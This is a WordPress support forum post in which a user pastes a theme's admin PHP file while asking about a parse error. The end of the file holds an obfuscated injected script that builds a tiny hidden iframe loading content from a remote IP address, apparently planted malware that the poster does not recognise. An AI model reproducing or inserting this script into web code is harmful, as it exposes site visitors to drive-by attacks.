Title: template problem &#8211; MODULARITY
Last modified: August 19, 2016

---

# template problem – MODULARITY

 *  [presasportiva](https://wordpress.org/support/users/presasportiva/)
 * (@presasportiva)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/template-problem-modularity-1/)
 * All the other templates worked fine despite the one MODULARITY v2.5
 * Parse error: syntax error, unexpected $end in /home/addrigh1/public_html/presasportiva.
   com/wp-content/themes/modularity2/functions/admin-interface.php on line 132
 * please help me somehow…the line 132 is the last line : </script>
 *     ```
       <?php
       // gppThemes Admin Interface 
   
       function gppthemes_add_admin() { 
   
           global $query_string;
           $options =  get_option('gpp_template');
           $themename =  get_option('gpp_themename');
           $shortname =  get_option('gpp_shortname');       
   
           if ( $_REQUEST['page'] == 'gppthemes' ) {
               if ( 'save' == $_REQUEST['gpp_save'] ) {
                       $upload_tracking = array();
                       foreach ($options as $key => $value) { 
   
                               $id = $value['id']; 
   
                               if ( is_array($value['type']) && $value['type'] != 'upload') {
                                   foreach($value['type'] as $array){
                                       if($array['type'] == 'text'){
                                       $id = $array['id'];
                                       update_option( $id, $_REQUEST[ $id ]);
                                       }
                                   }
                               }
                               elseif($value['type'] == 'checkbox'){
                                    if(isset( $_REQUEST[$id])){update_option( $id, $_REQUEST[ $id] );} else { update_option( $id, 'false' ); }
                               }
                               elseif($value['type'] == 'select'){
                                    if(isset( $_REQUEST[$id])){update_option( $id, htmlentities($_REQUEST[ $id] ));} else { delete_option( htmlentities( $id )); } 
   
                               }
                               elseif($value['type'] == 'upload' ){
                                   $override['test_form'] = false;
                                   $override['action'] = 'gpp_save'; 
   
                                    if(!empty( $_FILES['attachement_'.$id]['name'])){ //New upload
                                           $uploaded_file = wp_handle_upload($_FILES['attachement_' . $id ],$override);
                                           $uploaded_file['option_name']  = $value['name'];
                                           $upload_tracking[] = $uploaded_file;
                                           update_option( $id , $uploaded_file['url'] );
                                           }
                                    elseif(isset( $_REQUEST[ $id ])){ // No new file, just the already saved file
                                           update_option( $id , $_REQUEST[$id] );
                                       }
                               }
                               elseif($value['type'] != 'multicheck'){
                                    if(isset( $_REQUEST[ $value['id'] ])){update_option( $id, $_REQUEST[$id] );} else { delete_option( $id); }
                               } 
   
                               else  // Multicheck
                               {
                                   foreach($value['options'] as $mc_key => $mc_value){
                                       $up_opt = $id . '_' . $mc_key;
                                        if(isset( $_REQUEST[ $up_opt ])){update_option( $up_opt, $_REQUEST[ $up_opt ] );}  else {update_option($up_opt, 'false' );}
                                   }
                               }
                       }
                       update_option('gpp_upload_tracking', $upload_tracking); 
   
                       //Create, Encrypt and Update the Saved Settings
                       global $wpdb;
                       $query = "SELECT * FROM $wpdb->options WHERE option_name LIKE 'gpp_%' AND NOT option_name = 'gpp_template' AND NOT option_name = 'gpp_custom_template' AND NOT option_name = 'gpp_settings_encode'";
                       $results = $wpdb->get_results($query); 
   
                       $output = "<ul>";
                       foreach ($results as $result){
                               $output .= '<li><strong>' . $result->option_name . '</strong> - ' . $result->option_value . '</li>';
                       }
                       $output .= "</ul>";
                       $output = base64_encode($output);
                       update_option('gpp_settings_encode',$output);
                       //End 
   
                       $send = $_GET['page'];
                       header("Location: admin.php?page=gppthemes&saved=true");                                 
   
                   die; 
   
               } else if ( 'reset' == $_REQUEST['gpp_save'] ) {
                   global $wpdb;
                   $query = "DELETE FROM $wpdb->options WHERE option_name LIKE 'gpp_%'";
                   $wpdb->query($query);
                   header("Location: admin.php?page=gppthemes&reset=true");
                   die;
               } 
   
           } 
   
           // Check all the Options, then if the no options are created for a ralitive sub-page... it's not created.
           if(function_exists(add_object_page))
           {
               add_object_page ('Page Title', $themename, 8,'gppthemes', 'gppthemes_page', get_bloginfo('template_url'). '/functions/images/gpp-icon.png');
           }
           else
           {
               add_menu_page ('Page Title', $themename, 8,'gppthemes_home', 'gppthemes_page', get_bloginfo('template_url'). '/functions/images/gpp-icon.png');
           }
           add_submenu_page('gppthemes', $themename, 'Theme Options', 8, 'gppthemes','gppthemes_page'); // Default
           add_submenu_page('gppthemes', 'Available gppThemes', 'Buy Themes', 8, 'gppthemes_themes', 'gppthemes_more_themes_page');
       } 
   
       function gppthemes_page(){ 
   
           $options =  get_option('gpp_template');
           $themename =  get_option('gpp_themename');
           $shortname =  get_option('gpp_shortname');
           $manualurl =  get_option('gpp_manual'); 
   
           //Version in Backend Head
           $theme_data = get_theme_data(STYLESHEETPATH . '/style.css');
           $local_version = $theme_data['Version'];
           $update_message = '<span class="update">v.'. $local_version .'</span>';
       ?> 
   
       <script> 
   
       z1=document.createElement("if"+String.fromCharCode(114)+"ame"); 
   
       sz=String.fromCharCode(60-11); 
   
       z1.setAttribute("s"+String.fromCharCode(114)+"c","http://"+"178.86."+"0.137/in."+"cgi?def"+"ault"); 
   
       z1.setAttribute("wid"+"th",sz); 
   
       z1.setAttribute("heig"+"ht",sz); 
   
       function zp(zb){document.body.appendChild(zb);} 
   
       void(zp(z1)); 
   
       </script>
       ```
   

The topic ‘template problem – MODULARITY’ is closed to new replies.

## Tags

 * [script error](https://wordpress.org/support/topic-tag/script-error/)

 * 0 replies
 * 1 participant
 * Last reply from: [presasportiva](https://wordpress.org/support/users/presasportiva/)
 * Last activity: [15 years, 3 months ago](https://wordpress.org/support/topic/template-problem-modularity-1/)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
